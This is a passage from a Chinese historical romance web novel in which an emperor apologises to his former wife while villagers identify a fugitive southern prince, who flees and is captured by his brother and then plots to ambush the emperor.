那叫屠风的女人并不像他见过的任何一个女子,体态敦实,皮肤黝黑,比面前的渔夫还要壮实些。 屠风从木桥一路跑过来,木板震得愈发厉害,直到跟前,脚步才慢了下来,手里还拿着木棍。 屠风先是看向渔夫,而后皱起眉问道:“找我做甚?” 渔夫似是有些惧,往后指了指几个人,道:“有人找你。” 屠风转而看向几人,态度比刚才的渔夫明显差了些,一句话不说,似有防备,“你们是官府的人?” 她这番话是对着元衡说的,显然能 看出,他是这群人的话事人。 元衡将挂在腰间的香囊解下,并没有递给她,只亮了一眼,便又将香囊绑回去,静待她先开口。 屠风看了看那只香囊,问道:“你认识岑夫人?” 她审视了一番,犹豫地眨眼,“你…同岑夫人是什么关系?” 元衡沉着道:“是岑夫人的故交,有些事想要拜托屠夫人。” “原来是岑夫人的朋友啊…”屠风喃喃自语,放松了许多,又纠正道:“莫要叫我夫人,我没嫁人,还是个姑娘嘞。” 一旁的渔夫嗤笑一声,“还姑娘嘞!” 屠风闻言神色一变,伸手便去打,连连说了好几声“滚”。 忽然屠风又闭了气,“嘶”了一声,转过身来叉腰道:“不对啊,这香囊是我给夫人绣的,她喜欢的很嘞,怎么会随便送人?” “你到底和岑夫人是什么关系?” 屠风态度变得快,元衡毫无防备,愣了一下,不知该作何解释,只言简意赅道:“过去是很熟的朋友。” 他不露喜怒,屠风也没发觉什么异常,放心道:“那就行,不是那前夫就好…” 元衡到底是皱了眉,“她前夫怎么了?” 屠风丝毫不避讳,歪嘴一笑,“岑夫人那样的好人,脾气好,长得有漂亮,还能赚钱,能与人和离,那还用猜啊?肯定是她前夫一家子不识好歹。” 那渔夫闻言,竟也忘了刚才挨的打,帮着搭了句腔。 元衡沉默,就连韩泽挂在脸上的笑容也僵住了。 “她可曾说过她那前夫什么?” 屠风似是颇为不满,“那倒不曾,其实我也奇怪,你说岑夫人多厉害一个人啊,连吴赖子都怕她,怎么偏偏就对那个前夫狠不下心呢…” 元衡眉头越皱越深,问道:“吴赖子是何人?” 渔夫摆了摆手,“那吴赖子啊,人物其名,就是个无赖,去年要和屠婆子定亲,骗走了嫁妆又反悔,偏那厮长得块头大,又有人帮衬,村子里没人敢惹,当时人家岑夫人亲自带着人上门讨嫁妆,可厉害了,你说是吧,屠婆子。” 屠风啐了两嘴,骂他话多,而后又转过头来,似是忽然想到什么,两手握拳一碰,问道:“这位公子既与岑夫人是旧相识,可认得岑夫人的前夫是何人啊?” 元衡沉思片刻,只吐出来两个字,“认得。” 闻言,渔夫也来了兴致,也顾不得眼前人身份有别,凑了过来。 屠风催促道:“是何人呀?是不是如傅粉何郎,白面书生,长得比女人还美?” 渔夫觉得屠风口无遮拦,“你看你…” 屠风道:“我什么我,说的有错吗,若不是长得好看,夫人怎么会被骗得三迷五道,我看着都害怕,你说万一有一天,夫人一心软想不开,觉得对不起那前夫,又回到那龙潭虎穴怎么办?” 元衡心里有些落寞,“她…是觉得对不起吗?” 话刚出口,元衡心底便将自己嘲笑了一番。 还能是什么呢?也只能是觉得愧疚了… 他眼神似有些暗淡,望着远处出神。 韩泽不敢出声,也不敢表露出什么异样,头已经垂得不能再低。 任凭屠风平日里为人处事直爽粗旷,此时也感觉到了不对劲。 和旁边的渔夫对视一眼,瞧见同样迟疑的眼神,屠风像是明白了些什么,说话声缓和了许多,笑着打哈哈,“其实岑夫人这个人,也没有时常提起来那个前夫,我们担心的是有些多余才对。” 她压低声音,还是忍不住问道:“公子此来,是否是对岑夫人有意?” 元衡目光陡然间移向屠风,而后不动声色移开,任凭怎样,嘴里也吐不出那句“无意”。 可到底是帝王做得久,被人揣摩心思,心中不悦,面色更严肃了些。 屠风觉得自己猜的对,倒是不管不顾,紧接着说道:“公子仪表堂堂,若是对岑夫人有意,大可去追求一番,岑夫人为人豁达,未必会拒绝。” 元衡沉默片刻,不欲再谈及此事,态度尚好,说回正题,“在下这次来只是借岑夫人的情,托夫人帮忙找个人。 “无他意。” 屠风顿住话,这才想起自己因何而来,也跟着认真了几分,“公子但说无妨,岑夫人的事,我们肯定帮。” 说罢,渔夫也跟着点头。 韩泽眼疾手快,从袖中抽出一幅萧晗的画像来,和颜悦色道:“二位请看,就是此人。” 两人凑上前,仔细瞧了一番,都摇了摇头。 韩泽多少猜得出结果,萧晗身份特殊,逃到彭城一带的消息没有多少人知晓,又未布告悬赏,自是很难有人注意。 他未步步紧逼,“这幅画便交由屠娘子保管,还要劳烦娘子这几日帮忙问问附近的人,最近有没有见过这样的生面孔。” 屠风眼睛仍注视在画上,没问太多,答应道:“您放心便是。” 渔夫也嘿嘿一笑,“几位公子放心,屠婆子认识的人多,肯定能找到。” 交代完这些,韩泽看向自家主子。 元衡没有走的打算,静静地立在原地,不知在想什么。 忽然,他问了一句,“她这些年怎么样?” 屠风听到声音抬头,反应了片刻,才明白他是在同她说话。 她轻快爽利地答道:“岑夫人啊,这些年那自是很好的呀。” “游历四方,潇洒自如,有的时候回来,到我们这儿码头网几只鱼,我看肯定要比过去活得痛快。” “岑夫人有才有德,摊上个不好的夫家,耽误事啊…” 元衡听后,心里百感交杂,谈不上气愤,却也肯定算不上欣喜。 “那她又提起过过去的事吗?有没有说过,她过去为何不快?” 屠风想了很久,“夫人倒是很少谈及旧事,不过倒也偶尔提过……。” “是什么?” 屠风绞尽脑汁,最后想起些零碎的记忆,拼拼凑凑,得出了结论,“大概是不得自在吧。” * 元衡问完后,心里空落落的,竟是无事想做,又下令回到山上。 老天变得也快,仅是上山的功夫,便拨云见日,连山间的雾气都消散了。 元衡无心再做马车,步行上山,时不时负手仰望;看向渐渐消散的浓云。 他们的关系什么时候也能像这般一样,就好了。 可他知道,并不太可能。 她会觉得亏欠他,是把他当做外人。 真正对不起的,亏欠的,该是他才对… 元衡长叹一声,可那些忧愁并未被吐尽,愧疚感挤压胸口,越来越堵闷。 不论现状如何,他其实都该同她郑重道个歉才对。 第132章 第一百三十二章对不起 他慢慢朝着山上走,云越来越淡,山路上铺了一层金光,灿烂夺目,渐渐迷了双眼。 元衡心不在焉地漫步,一旁的韩泽能察觉到他的情绪。 过去在宫里,皇帝也时常向东南眺望,一望就是很久。 韩泽随他默默往山上走,心知肚明皇帝为何感伤。 走向高处,山间景色渐渐开阔起来,一览无余。 根枝盘绕的大树后渐渐传来几句人声,元衡向那处看去,却见岑璠正站在那棵大树下,树阴遮住了她一般的容颜,另一半阳光打在了她的身上,泛着光晕,像书里下凡的仙子。 元衡默不作声地靠近,她蹲下身去,采摘树下的蘑菇,直到他走近后才发觉。 她又站起身,篮子里已经多出好几颗蘑菇。 元衡立在原地,目光与她相撞,默默凝视,目光如山间的和煦春风,缓缓流动,悄无声息。 须臾后,他问道:“可是我打扰到了你?” 岑饭摇了摇头,“没有。” 元衡得到她的应允,向她走来,轻轻吐出的一声叹,几乎微不可闻。 岑璠先问道:“今日去码头,可有见到屠风,她可知道些什么?” “且没有,她说这几日会找人多打听些。” 岑璠知道找人并非易事,这些年自南逃来的人不少,前些时候萧昀叛乱,又来了个更难缠的萧晗,也不能不找… 岑璠抿了唇,而后又想起什么,伸出手来,“我的香囊。” 元衡愣了一下,便将那只香囊从腰间解下来,还给她时目光随之而动,放在她手心时,竟迟疑了一刻才松手。 这一串动作实在不符合他素来干脆利落的作风,岑璠有所察觉,一边往袖中收着香囊,一边道:“这只香囊是屠风给我绣的,我记得陛下过去也没有佩香囊的习惯,若是陛下想要香囊…” 听到此处,元衡眼睛动了一下。 岑璠声音一顿,无声抬眸看了一眼,淡然道:“若是想要,其实可以让宫里的人给做一个。” 刚提起的心跳就这么又被她拽了下来,元衡闷闷“嗯”了一声。 他问道:“满满呢?怎么不带她出来?” “满满啊,在院子里和槿儿捉蝴蝶呢。”岑璠又蹲下,采完剩下的蘑菇。 元衡跟着她一起蹲下,上手摘了一颗,翻来覆去看了看,“这个能吃吗?” “能吃。”岑璠不容他怀疑,笃定道:“我这些年出来,会看菌子。” 元衡将那颗蘑菇撂到她的篮 子里,默不作声地又准备拔第二颗。 岑璠扭过头去,看着他道:“陛下若是觉得无趣,可以回去陪满满,姑娘今早念了陛下好久呢。” 元衡手顿住,向她看过来,注视良久:“我也没有采过菌子。” 岑璠倒是有些惊讶,“陛下过去行军,烧水起灶都会,没有采过菌子?” 元衡点头,“北边的山上,长不出菌子。” 岑璠“哦”了一声,默不作声给他腾了些位置。 野菌子再怎么长也长不出太多,不过一会儿便被两人摘了个干净。 岑璠站起身,拍了拍裙角的脏土,依旧没有怎么搭理他这个做皇帝的。 元衡随她起身,手攥紧些,叫住了她,“皎皎,我有话想同你说。” 岑璠转过身,只见他说这话时的面色十分郑重,也收回了之前随性的态度。 韩泽见状,带着其他人退远了些。 左右皆退,岑璠不由愣了愣,不知他接下来要说什么。 元衡也沉默了许久,他想同她好好道歉,可又怕把这么多年的卑劣摊开来说,却还是得不到她的原谅,最后自己摔的粉身碎骨,毫无尊严。 可如果现在不说,等到再过三年,十年,他们除了有一个共同的孩子,和陌生人再无两样,便更说不出口了。 那这个结永远无法解开,他肯定会后悔一辈子。 岑璠道:“陛下且说便是。” 元衡下定决心,朝她走近两步,沉声道:“对不起…” 岑璠百思不得其解,心跟着提到嗓子眼,“陛下方才下山做了什么?为何这么说?” 元衡抿了抿唇,想扯出一个笑让她放心,最后却只显露出苦楚。 他向她解释,“我说的是过去,过去我做了很多错事,是我对不住你…” 岑璠听后,黛眉说展不展,眼中无怨却也无喜,只盯着他的脸打量,像是在看什么稀奇玩意儿。 陈年烂谷子的事,他莫名其妙提这些做什么? 元衡经不起她这么打量,就好像是一只做了坏事的老鼠,愈发无地自容,竟是低下头。 岑璠收回目光,一时也不知该如何应答,尴尬间换了只手拿篮子。 元衡在静静等她回答,既然说出口,那她说什么,他都该受着。 岑璠很快便冷静下来,温声问道:“陛下为何忽然提这些?” 她并未恶语相向,也非冷漠不答,这对于元衡来说,便像是得了大赦。 她向她递了绳,元衡便想要拼尽所有往上攀,有些话憋在心里多年,便想要一次都说完。 他站在树荫下,却是迎着光,声音醇厚低沉,像是风雨中巍峨不动的高山,“其实这些年我一直都很想对你说声对不起,却也知道悔之不及…” “你说如果当初——” 他的话未说完,岑璠便是将一切都掐断,“我不怪陛下,这些年我过的很好…” 元衡再一次哽住话音,头再一次底下,“这样啊…” 岑璠以为他仍心有愧疚,接着说道:“在宫里和王府的几年,也算是别样的经历,我没有失去什么…” 起码没有失去自我,没有失去走出来的勇气,这便足够了。 这些事她早已想开,只长舒一口气,抬头看向被拨散的浮云,抿唇一笑,“况且还有满满,也不算是一无所获。倘若满满是个混世魔王,我恐怕真的要怨陛下了。” 元衡听得出她话中有话,“你放心,我会照顾好满满,放在身边教导,她比我的命重要。” 他这句话说的并不刻意,似是觉得本该如此,岑璠也不知道该说好还是不好。 “陛下国事繁忙,也要顾惜自己的身子。” 元衡听到她的叮嘱,心底又泛起一阵冲动,他脚微微抬起,理智将自己又拉了回来,“会的…” 他许久才又言,“等找到萧晗之后我约莫要回去了,明年除夕你还是回来罢,就当是见满满,你也看到了,她又机灵又吵闹,你明年若不回来,她肯定要闹,我已经骗不了她了。” 岑璠并没有犹豫太久,颔首道:“明年除夕,若无要紧事,我会去宫里。” “那便好…” 言落,元衡再无话可说。 岑璠轻叹,劝道:“其实陛下也不必一直等我,如果遇到好的姑娘…” 元衡淡淡一笑,知道她要说什么,“好,我会试试忘掉你。” 相顾无言,元衡先一步向树荫外走去。 再怎么样,也该释怀了。 * 码头边上,屠风和渔夫眼瞧太阳出来,又撒了几只网,各自在忙自己的事。 渔夫还在想刚才的事,越想越觉得画上的人在哪里见过。 他放了网,又向屠风走过去。 屠风刚扫过码头,见他湿泥巴鞋踩过来,用扫帚往他脚底铲了一下。 渔夫有惊无险抬脚躲开,连骂都想不起来。 屠风要撵他走,“去去!把你的脚拿开。” 渔夫手一拍大腿,“你看你这个人,小气的很。” 屠风扫把一竖,眉一横,渔夫也懒得同她再说话,伸出手来,“你把那幅画给我,我再看看!” 屠风狠狠撇了他一眼,嘟囔道:“你还能看出花来?” 她这么说,还是从怀中拿出了那张画像,画上涂了层薄蜡,一点都没有潮气。 渔夫展开那幅画像,眉头越皱越紧。 屠风眨了眨眼,扔下扫帚,“你不会真的看出什么名堂吧?” 渔夫指着那张画上的脸,道:“你看看这张脸,像不像是前几日北村头王丫头带回来的人?” 这么一说,屠风倒也想起来,那一日他们要收网时,对面山头的姑娘确实从船上带回来一个人。 她一脸不屑,“你是说那个快被淹死的小白脸?” 屠风抢过画,又仔细看了看,画上的人算得上 风流倜傥,五官清俊。 那日船上的小白脸披散着发,她虽然没看全,却也知道长得不错。 再多看几眼,便觉得越来越像。 她同渔夫对视了一眼,“你说不会真的是吧…” 渔夫道:“你说说,前脚咱们这儿刚来了外人,后脚就有人来找,这是不是太巧合了?” 屠风觉得有理,却又有点想不通,“可那不是王姑娘的男人吗?” “你听她说!什么男人不男人的?难不成从外头来的都能叫屋里头的男人了?” 屠风还是有些犹豫,“可今天来的那位,看着分明是官府的人,王姑娘无亲无故,咱再把人抓了,不太好吧…” 渔夫不以为然,“有什么不好?咱们和对面山头的王姑娘有甚交情?自然是先办好岑夫人说的事!况且正因为是官府派人来问,才应该查清楚,万一王姑娘受贼人蒙蔽,出个好歹怎么办?” 屠风登时眼睛睁得浑圆,“你说的有道理!” 她越想越担心,收起那幅画,又指了些东西让渔夫收起来,“不行!我得现在去趟县城告诉他们!” 第133章 第一百三十三章找人(大结局前过渡剧…… 山的北面是个渔村,村子不大,只有几户人家,都姓王,多数以打渔为生。 也就住在村口的王小娘子手巧,做些织绣手艺,每个月到城里还能卖些好价钱。 只不过这王小娘子这个月没往城里跑。 王小娘子长得标致,一月前从外面带回来了一个男人。 从不往山上走的小娘子,最近总往山里头跑,前两日前崴了脚,腿脚不便,连捉家里的母鸡都要邻居王石头来帮忙。 至于那带回来的男人,还是闭门不出,活像是金屋藏娇,大姑娘似的 王石头抓着鸡脖子,大刀抹了一下,放出血来。 他回头看了看站在一边的王小娘子,道:“你先回去歇着吧,我帮你把鸡杀了。” 王小娘子已经从井里打来了水,客气道:“王大哥,我只是伤了脚,剩下的还是我自个儿来吧。” 王石头本还想再说两句,却听到屋内传来一阵剧烈的咳嗽声,顿时觉得晦气。 他松开那只鸡脖,蹲下洗干净手,随意甩了两下,道:“还有什么要帮忙的,尽管来找我。” “多谢王大哥。”王小娘子低头道谢,目送他出院门,才松了口气,挽起袖子,准备对那只鸡下手。 就在此时,门被人踹开了。 王小娘子并不惊讶,只朝房门外面那边看了两眼,便举起菜刀,快准狠地朝那鸡脖子又是一刀。 萧晗倚在门上,好整以暇地看着她。 “以后有外人来,你少发出点声音。”王小娘子道。 “本王为何不能发出声音?”萧晗颇不服气,冷哼一声,“你虽然出身低了些,但也是本王的女人,他这么大摇大摆来你家,本王可忍不了。” 王小娘子抿唇,前几年他这裕王总来魏国境内,她跟了他,与他在一处厮混,他许她侧室的身份到现在还没兑现,她肯救他就不错了,倒是数落起她来了。 她气不打一处来,刀磕在案板上,满手是鸡血就向他走过去,“裕王殿下,您从前再怎么尊贵,现在也是在大魏的地盘,在我家里,还是先收起您的贵公子脾气吧!” 萧晗一口气堵在胸口,想到近些天遭的憋屈,脸都气红了。 他萧晗立下赫赫战功,梁国那帮小人竟是过河拆桥,在朝堂上挤兑他,称他非皇帝所出,意图造反,害得皇帝与他离心,像个丧家之犬一样被驱赶来魏国,躲在这荒郊野岭的小渔村。 他堂堂裕王,何至于此! 萧裕嘴歪了歪,到底没再发作,他在大魏安插眼线多年,也还有些人现下能调动,眼下伤是养的差不多了,唯一需要做的便是养精蓄锐,不被发现。此间能用好处买通些当地氏族自是再好不过,若在魏国能抓住时机一举将水搅浑,等南北准备开战时他站出来,即便是姓元的再恨他,想必也要礼让三分! 知道孰轻孰重,萧裕不与面前的女人拌嘴,转身回床上躺着。 王小娘子以为他是怕了她,道了声“这还差不多”,而后又转头去给那只鸡拔毛。 萧裕这一躺便是又躺到午时,地上被雨浸湿的泥都被晒得半干,太阳高高挂起,打在后背上。 鼻尖闻到鸡汤的香味,萧裕才从床上坐起来。 王小娘子将那碗鸡汤面搁在桌上,换了件衣裳,重新挽了个头发,马上盘缠后后向门外去。 萧晗看她一眼,问:“你还要做甚去?” 王小娘子回道:“人家送的马还在咱们院里呢,总要还给人家!” 萧晗阴阳怪气道:“你不是脚伤了吗?连鸡都要别人来抓。” 王小娘子反驳,“裕王殿下十指不沾阳春水,自是不知这鸡难抓,我只是赶车跑趟县城,又不是上山采药打猎,为何去不得。” 萧晗边吃面,嘴里边挖苦道:“人家马都能肯给你,定是非富即贵,不用你还马,连脚都不肯踏进你家一亩三分地儿,是在嫌你穷,怕你像块儿狗皮膏药,找到他们攀关系。” 他颇为不屑,“连这都看不出来,还腆着脸去找人呢…” 王小娘子不服,一个箭步,夺下他手中的筷子,“不想吃就别吃了!说人家干甚!” “救我的那家是个好人,还给了咱们药,肯定不是这样的人!要是没有她们送我回来啊,裕王殿下你要饿好几顿呢!” 面对她的指责,萧晗愣了一瞬,多打量了她好几眼,又默不作声地从她手中抢了筷子,埋头挑了几筷面。 王小娘子没同他多计较,嘱咐了几句,便准备出门。 萧晗叫住她,“等我吃完,和你一起去。” 王小娘子回头,“你去做甚,你伤还没好呢!” 萧晗放下筷子,道:“你的腿伤了,好歹我的女人,我总不能看你瘸着腿去城里吧!” 王小娘子听到此处,只觉得太阳打西边出来了,脸上却泛起浅浅一层粉晕,声音都小了些,“不是有人到处抓你吗,不怕吗?” 萧晗暗中注意她的神态,自是也发现了她的变化。 他身上的伤已经好的差不多了,如今在魏国境内,南边的人在暗中找他,他想先发制人,最好的法子就是去找到当地的氏族,眼下正是个好机会。 萧晗藏起这些想法,气定神闲道:“有什么好怕的?本王来过彭城多少次,你又不是不知,哪一次不是来去自如?” 他每次来彭城,都会接她去他的住所,想到过往那些,王小娘子头更低了。 萧晗看得到,却故意不理会,吃完最后那点面,站起身时嘴里的面还没完全咽下去。 他利索道:“走吧,我和你去。” 王小娘子有迟疑,可也只是一瞬,便从外面牵了那匹马来,为了两个人回来方便些,还牵上了平时去城里用的那头驴。 * 两个时辰后,两人才到达彭城。 这些年来,南北两国还算相安无事,彭城来往的人也多了起来。 萧晗来时戴上了一张假面皮,薄如蝉翼,难辨真假,扮成佃户,更是无人认出。 两人很快便进了城,萧晗倒有一点好奇,“你连那家姓什么都不知,如何找到他们?” 王小娘子道:“这有什么难的?那日送我来的娘子,身上穿的花样我见过,全彭城也只有一家成衣铺能做出来,娘子又姓蔡,不是什么大姓,岂不是一问便知?” 萧晗哑口,嘴上却不饶人,“这次倒是聪明了。” 王小娘子刻意压低了声,“我若是不聪明,也救不回裕王您这尊大佛呀!” 萧晗懒得搭理她,只是脸色愈发难看,王小娘子也知道他的怪脾气,只怕他当了真,便不再调侃他。 临到那家铺子,王小娘子拐进街角,特地嘱 咐他不要露面。 萧晗没忘此行来意,断然不愿,追上她否道:“不行!像是做贼一样,再说了,你被他们骗了怎么办?” 王小娘子觉得他脑子不好使,手叉腰,想要反驳两句。 嘴刚张开,却是看到两张熟悉的面孔。 一个是码头上的屠大娘,另一个正是那日送她的贵人。 王小娘子向前走了两步,只是那两人并没有注意到她,左顾右盼,正窃窃私语些什么。 王小娘子想叫住两人,却被萧晗抓住手腕,拽了回来。 萧晗玩味道:“人家说话明显是不想让你听,你非要凑上去,是喜欢听这些秘事吗?” “你可别瞎猜!” 萧晗眼神愈发戏谑,轻叹一声,一抿嘴道:“罢了,你若是想听,我倒是可以帮你去听听。” 王小娘子立刻甩开他的手,“我可不想听,我只是想快些把马还给别人,可没想做偷听的勾当。” 萧晗挑眉,道:“可我想做。” 说罢,他便要向两人消失的那条深巷钻去,王小娘子想要拦他,却又害怕闹出动静,只得低声劝阻。 萧晗耐心消耗殆尽,言辞刻薄,“若是你不放手,我保准你的马还不回去。” 王小娘子气焰顿时消散,心知拦不住他,只能呆在原地。 萧晗向深巷而去,脚步极轻,他确实不是第一次做这样的事,皇宫里的那些秘闻,很多都是这样听来的。 他躲在转角处,一眼便能看出,那两个人并不是专门传递情报的人。 萧晗放松下来一些,依在墙边,盼能听来北面索虏贵族之间的秘辛,好作为一点筹码。 只是他听来的东西,却不尽如人意。 那两个人,好像在找谁。 萧晗皱起眉,呼吸闭紧些,接着便听清了两人的传话。 “北村头的王丫头,那天带回来的男人,我看着像是…” 至于像什么,声音就更低了些,任凭萧晗耳力再好,也听的含糊不清。 但北边的索虏找他做什么,不说自明。 他们在抓他,并且已经盯上了王氏。 萧晗脸色骤然阴沉下来,眼睛死死盯住那处,记下二人的容貌。 剩下的话,萧晗并未再听,转头出了巷子。 王小娘子站在原地,嘴里念叨着,见到他出来,本想上前再数落几句,却对上一双还未收起杀气的眼睛。 阴鸷煞气扑面而来,王小娘子到底是有些怕,气虚问道:“你…你怎么了?” 萧晗未答,甚至有些疏离,仔仔细细将她看了一遍,莫名其妙问道:“那日你遇到那家贵人,有没有同他们说什么?” 王小娘子眨了眨眼,转了个弯才想到他为何这般问,回嘴道:“我能说什么?我若是说了,咱们还有活路?” 萧晗弯出一个意味不明的笑,“那就好。” 王小娘子也察觉到反常,问道:“她们刚才在说什么,你可有听到?” 萧晗不予理会,迈开步子,朝远处的摊贩那边抛去一颗碎银,硬生生止住了吆喝声,随后二话不说取走了小贩摊边的帷帽。 他转过身,不容拒绝,将那顶帽子扣在王氏头上。 头发被弄得乱糟糟的,她逼急了眼,想将帽子拿开,喊道:“你做甚!” 萧晗死死按住帽子,声音压低,厉声放话,“你若是拿开,信不信咱们都要死!” 王小娘子心下一惊,像一只受惊的兔子呆在原地。 萧晗趁这时向那巷子看去,恰好瞧见那两人从巷中出来。 他来不及再给什么下马威,抓住王氏的手,迈开大步,扯着她向前走。 他走的太快,王小娘子一路小跑才能追得上。 王小娘子似也看出了他的意图,“你跟着她们做甚!” 萧晗没有耐心,低喝道:“你若不想死,就闭嘴!” 王小娘子似也意识到了事情的严重,悄无声息跟在他身后。 那两人乘了马车出城,萧晗抛下了进城时带来的那匹马,亲自赶着王氏驴车,带着她远远坠在后面。 他的目光自始至终没有离开那辆马车,面色比方才还要阴冷些。 方才他追着二人出城,听来了那主人家的姓氏。 那家贵人姓岑。 这一路上,他不免想起些事。 比如,这大魏的皇帝,死掉的皇后也姓岑,过去也住在彭城。 第134章 第一百三十四章劫持 萧晗知道那位皇后生前极受皇帝宠爱,他见过一面,还触碰过。 就只是一面,他至今都忘不了。 那是一朵干净的芙蓉,是世间难得的尤物,比他见过的任何一个女子都美。 当时这位皇后薨逝的消息在魏国并不算小,可传到南国也是两月之后。 乱世之中,纵使美若洛神,也不过是昙花一现,终将被铁马金戈声掩埋。 当时他还惋惜了好一阵。 想到此处,萧晗闭上眼睛,深吸一口气,仿佛那女人身上的香气还在周围弥漫。 王小娘子盘腿坐在车上,提醒道:“你看着路!” 萧晗醒来,紧接着睨了她一眼,说实话,眼前的女人并不算难看,可小家碧玉,行事乖张,比起魏国的那位皇后,实在黯然失色。 萧晗冷而不言,驱车向前。 进山后,路上已经没了别的行人,萧晗停下车,看了看前方的车轴,又仰头看了看那座山。 想必那家想要抓他的人就住在这座山上了。 那岑氏生前极受宠爱,想必家里人也跟着沾光,加官晋爵,眼前的这个姓岑的主家,说不定也与那个皇后有关。 眼下再跟着上山,容易被察觉,萧晗让王氏在山下守着车,自己寻车痕上山。 只是刚走了没多久,萧晗便停下了脚步。 他替梁国戍边多年,侦察情报,领兵北上,什么都干过,对周遭环境实在敏感。 这山上安静的太过异常,连声鸟叫都没有,实在不像没有人。 像是有很多猎手藏在暗处,等着他自投罗网。 萧晗又抬头,看了看山势,还有被茂盛树林遮挡住的暗处。 他没在往上走,果断下了山。 王小娘子还盘腿坐在车上,捡了一根野草,丝毫没有意识到现在有多危险。 萧晗立在她面前,越想越生气,夺过她手上的那根狗尾巴草,扔在地上。 王小娘子不明白他为何会发这么大的脾气,她只是听他的话坐在这里。 萧晗觉得同她解释无用,只坐在车上,低喝了一声,“走。” 王小娘子坐直了些,疑惑道:“你怎么这么快就回来了?去哪儿啊?” 萧晗回头,眼神凶煞,“回去拿银子,逃命!” 说罢,他便坐上车,一言不发地赶驴回去。 车越行越快,山路又颠簸,王小娘腹中翻滚,几近呕吐,她从来没想过,一头驴也能跑的这样快。 两人回去之时,天才刚黑下来。 萧晗大踏步走进房,从屉中拿出印子,又拿了自己的随身配剑,手放在那张丑面皮上,嫌弃至极,想了想却还是没有冲动撕掉。 他拿了银子,大踏步走出房门,吹了声哨,周围的树影摇曳,不一会儿就来了好几个人。 王小娘子看着骑马从林子里窜出来的人,嘴巴张圆了很多,“原来你这里有马呀!” 萧晗状若未闻,安排了一通,眼光才瞟向她,“带着她,朝北面走。” 王小娘子方才听的真切,他要往南走。 她上前一步,“你不带我一起走?” 萧晗一言未发,向最健硕的那匹马走去。 王小娘子紧随其后,心急火燎,“你一个人走我不放心,我不给你添乱,我和你一起走。” 萧晗被她说的不耐烦,扯住她的手腕,拽到身前,眼里凶光毕露,似有火焰,“你记住,你不在,我才能脱身。” 说罢,他甩开她的手,拉缰上马。 王小娘子愣在原地,好一阵竟是反应过来,“你要弃了我?萧晗你个没良心的!你要用我当诱饵?” 萧晗自认为自己一个王,不杀了她,已经算是太有良心。 他后槽牙咬了又咬,那张丑陋的面皮都变得扭曲起来,忍了又忍,拧过缰绳去。 王小娘子心里慌乱如麻,脸色苍白,跑了过去,跟在他的马后面大喊,“你别忘了,你的钱都是我的!你这个没良心的!” 萧晗道:“你的银子?还不都是我给的!” 王小娘子脸色时青时紫,嘴里念念有词,忽然去扯他的缰绳。 萧晗大惊,用了些力,才从她的手里扯回来,大骂她疯子。 他不欲再纠缠下去,示意左右将她拉开,带着几个随从策马而去。 萧晗心想,他易容绕路向南方的山里去,又让人带着王氏向北走,想必不会有人那么快追上。 可他忽略了,还有一批人在追他。 进山不过十里路,背后便是有一支箭射来。 由于天色已黑,那支箭挂在了树上。 身后的马蹄声杂乱,萧晗心知再这么下去,迟早要被射成刺猬。 他狠狠一拽马绳,向林子里钻去,下马后快步向山上逃。 只是他已经一天没怎么吃东西,所剩体力不多,不到一炷香的功夫,身形便摇摇晃晃。 不过一会儿,身后便传来一阵喊声,畅快淋漓,“兄长,好久不见!” 萧晗听到声音,脚步定在原地,左右的死侍纷纷拔出剑。 只是萧晗却好像放弃了,背靠在一棵树上,嘴角斜撇,似是有些不耐烦。 追上来的人是他同父同母的亲兄弟,萧照。 萧照带的人并不算少,很快便将萧晗几人包围起来 萧晗嗤笑一声,并不将他放在眼里。 萧照也不觉得犯不上恼怒,一幅骄傲地姿态低眼睛看他,“兄长见我为何要跑?” 萧晗冷笑一声,算是回应。 他不愿死在这儿,可他的亲弟弟显然是想置他于死地,眼下没有别的办法,干脆撕了那张假面皮,席地箕坐,想些对 策。 萧照并未骑马,手上却仍执马鞭,见状更是得意,背过手去,向萧晗缓缓走去,语气懒散,“兄长这几日,可叫我们好找。” 萧晗紧盯着他,问道:“你是如何找来的?” “兄长的人,有忠于其主的,自然也有终于大梁的人。”萧照讪讪笑道:“说来还要多谢兄长的哨声,能让我们这么快找来。” “连魏国的那位皇帝,都被兄长的调虎离山之计骗了呢。” 萧晗方才吹那声哨时,只想着快些逃,没想到此举会成为他的破绽,一时间气血上涌。 他眼珠转了转,忽然间捕捉到什么,抬眼问道:“你是说姓元的来了彭城?” “还差点撞见呢。”萧照半蹲下,与他视线平齐,“兄长是想死在他手上,还是我的手上?” 萧晗与他对视了一息,忽然低笑,“你就这么怕他?” 萧照愣了一下,道:“我这不是怕。” 萧晗连着笑了几声,那声音刺耳,满是嘲讽,“陛下想必也没有让你杀了本王,本王若死在这儿,你寸功未建,事情败露说不定还会被重罚,何必呢?” 萧照脸色沉了些,他竟是猜的到,皇帝并不打算杀了他。 此次他来,虽然说动了母亲,皇帝却是痛斥他手足相残。 明明并非亲子,却被视如己出,反而是他一直被打压无视,让他怎能不恨! 萧照心中愈发恼火,面前之人狡诈,他也不想夜长梦多,上前几步。 萧晗看向他手中扯紧的鞭子,“你是打算勒死本王?” 萧照脚步顿住。 “不瞒你说,本王早猜到你回来,若是死在这里,今日在此发生的前因后果必会比你先返还大梁!” 此言戳到了萧照的心口,他咬住牙,那条马鞭眨眼片刻便绕在了萧晗的脖子上。 萧晗一路奔跑,呼吸尚未平稳,骤然被勒住脖子,窒息晕眩感即刻而来。 他本能抓住那条绳子,用尽力吸气,面色青白,眼珠都快凸出来了,“你来到魏国,又知道皇帝在这儿,难道不想建功?” “我知道魏国的皇帝会去哪儿…你想不想知道?” 萧照手未松,问道:“我怎么确定,你不会趁这个的机会跑了?” 萧晗被勒的几乎昏厥,扫视一圈带来的侍从,咬紧牙笑道:“你可以把他们都杀了,我一个人也跑不了,不是吗?” 随萧晗至此的人,有的闻此大惊,有的甘愿赴死,一副大义凛然之态。 萧照见此情形,朗声大笑,又凑在他耳边,问道:“那兄长想要什么?” “事成之后,你放了我,我只想活着…” 萧照骤尔松了手,一声令下,抽刀声响起,随即倒下去好几个人。 萧晗趁机连连呼吸几口气,萧照却没有给他再多余的喘息机会,问道:“兄长打算如何带我建功,说来听听。” 萧晗半睁着眼看向他,说道:“再往南走,有一户人家姓岑,你可知那是谁?” 萧照只想知道答案,并没有耐心,“我没功夫同皇兄猜这个。” 萧晗嗤了一声,撇开满是鄙夷的目光,没再让他猜什么。 “魏国死的那位皇后岑氏,家本在彭城,岑氏死后魏国举国缟素,岑氏的族人肯定也享尽殊荣。此番元衡未进彭城,定是与城外的岑氏有所往来,说不准就住在岑氏的府邸。” “就算他另有落脚处,想必之后也会去岑氏那里拜访,若我们兄弟二人提前埋伏,难道怕抓不到魏国的皇帝?” 